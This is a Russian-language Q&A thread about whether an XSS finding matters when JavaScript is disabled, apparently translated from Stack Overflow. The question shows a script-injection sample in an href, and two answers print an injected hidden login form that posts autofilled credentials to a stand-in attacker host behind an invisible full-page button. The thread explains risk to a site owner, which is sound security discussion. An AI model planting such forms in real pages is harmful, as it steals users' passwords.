Эксплойт XSS при отключенном JavaScript - PullRequest
2 голосов
/ 04 июня 2010

Я довольно разочарован, пытаясь сделать белый список McAffee предполагаемым эксплойтом на сайте, над которым я работаю. Проблема заключается в том, что их автоматизированная система обнаружила предполагаемый XSS-эксплойт, но этот эксплойт существует только при отключенном JavaScript. Учитывая тот факт, что вам нужно отключить JavaScript, чтобы эксплойт существовал, это, безусловно, означает, что это не эксплойт. Кто-нибудь может подумать о возможных аргументах об обратном?

Обновление - чтобы добавить больше деталей:

Проблема возникает из-за того, что неанализованный URL-адрес записывается в якорный тег href. Так что при отключенном JS вы можете получить что-то вроде этого:

<a href="foor.php?"><script>alert('foo')</script>#someanchor" ..

Когда JavaScript включен, этот href обновляется, чтобы быть таким (на dom ready):

<a href="javascript:;">link</a>

Таким образом, при включенном JS ссылка больше не внедряется, а при отключенном JS предупреждение больше не будет выполняться.

Ответы [ 5 ]

2 голосов
/ 04 июня 2010

Вам нужно изменить свою страницу.

<a href="default_for_javascript_disabled" id="speciallink">link</a>

<script type="text/javascript">
    var link = document.getElementById("speciallink");
    link.href = "value_for_javascript_enabled";
</script>
1 голос
/ 05 июня 2010

Если на вашем сайте есть форма входа и у пользователя включена автозаполнение пароля, я могу добавить что-то вроде следующего:

<form action="http://evil.hackademix.net/log" method="POST">
<div style="position: absolute; top: -5000px">
<input type="text" name="username">
<input type="password" name="password">
</div>
<input type="submit" value="pwn me" 
style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
>
</form>

Как только пользователь нажимает в любом месте на странице, его учетные данные регистрируются на моем сайте :) Это не XSS в строгом смысле (если вы не считаете HTML + CSS "скриптовым" lato sensu), но он почти одинаково гнусен

0 голосов
/ 12 декабря 2010

Я не понимаю бит "Когда JavaScript включен, этот href обновляется".

Если вы делаете это на стороне сервера, то оно должно основываться на предварительном обнаружении, которое не может быть абсолютно точным. Злоумышленник, вероятно, может обмануть обнаружение с помощью CSRF (например, сделать жертву открытой example.com/?disabled_js=1 перед перенаправлением на уязвимую XSS страницу).

Если вы работаете на стороне клиента, значит, уже слишком поздно, поскольку введенный HTML будет проанализирован до запуска вашего скрипта.

Чтобы ответить на ваш вопрос - XSS невозможен, если у пользователя отключен JS. Однако существуют и другие атаки, такие как фишинг и CSRF, которые помогают при внедрении HTML.

0 голосов
/ 05 июня 2010

Единственный пример, который я могу вспомнить, это использовать вашу страницу, когда JavaScript отключен, это когда вы слишком полагаетесь на JavaScript .

Представьте себе ситуацию, когда у вас есть какая-то нажимаемая кнопка, и вы хотите скрыть ее от пользователя при загрузке страницы / изменении вкладки и т. Д. С помощью CSS, измененного JavaScript.

В обычной ситуации вы знаете, что обычный пользователь не сможет увидеть эту кнопку, потому что она скрыта, но если JavaScript отключен, весь контент страницы будет отображаться сразу, отображая некоторые «скрытые» функции. (Я пишу слово, спрятанное в апострофах, потому что сокрытие вещей с использованием CSS - плохая идея для начала, но опять же все зависит от того, какую функциональность имеет наша кнопка).

Другой пример:

<a href="/nice/clean/url/" onclick="Update.Panel.Using(Ajax); return false;">Next Page</a>

Как вы можете видеть в этот раз, когда JavaScript отключен, пользователь будет перенаправлен на URL ссылки, и действие панели обновления не будет выполнено. В основном вы используете этот трюк, чтобы перенаправить сканеры веб-сайтов на правильную страницу из тега href и по-разному относиться к пользователям, потому что в их браузерах включен JavaScript, поэтому вы можете делать некоторые «интересные вещи».

Я не уверен, что это правильно отвечает на ваш вопрос, но в целом - просто убедитесь, что функциональность реплицируется / работает так же, как и при включенном JavaScript.

0 голосов
/ 05 июня 2010

Упс, мой HTML потерялся в моем предыдущем ответе. Однако вредоносная HTML-инъекция без сценария может выглядеть следующим образом:

<form action="http://evil.hackademix.net/log" method="POST">
    <div style="position: absolute; top: -5000px">
    <input type="text" name="username">
    <input type="password" name="password">
    </div>
    <input type="submit" value="pwn me" 
    style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
    >
</form>

Не говоря уже о хороших вещах, которые вы могли бы сделать, используя элементы или элементы ...

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...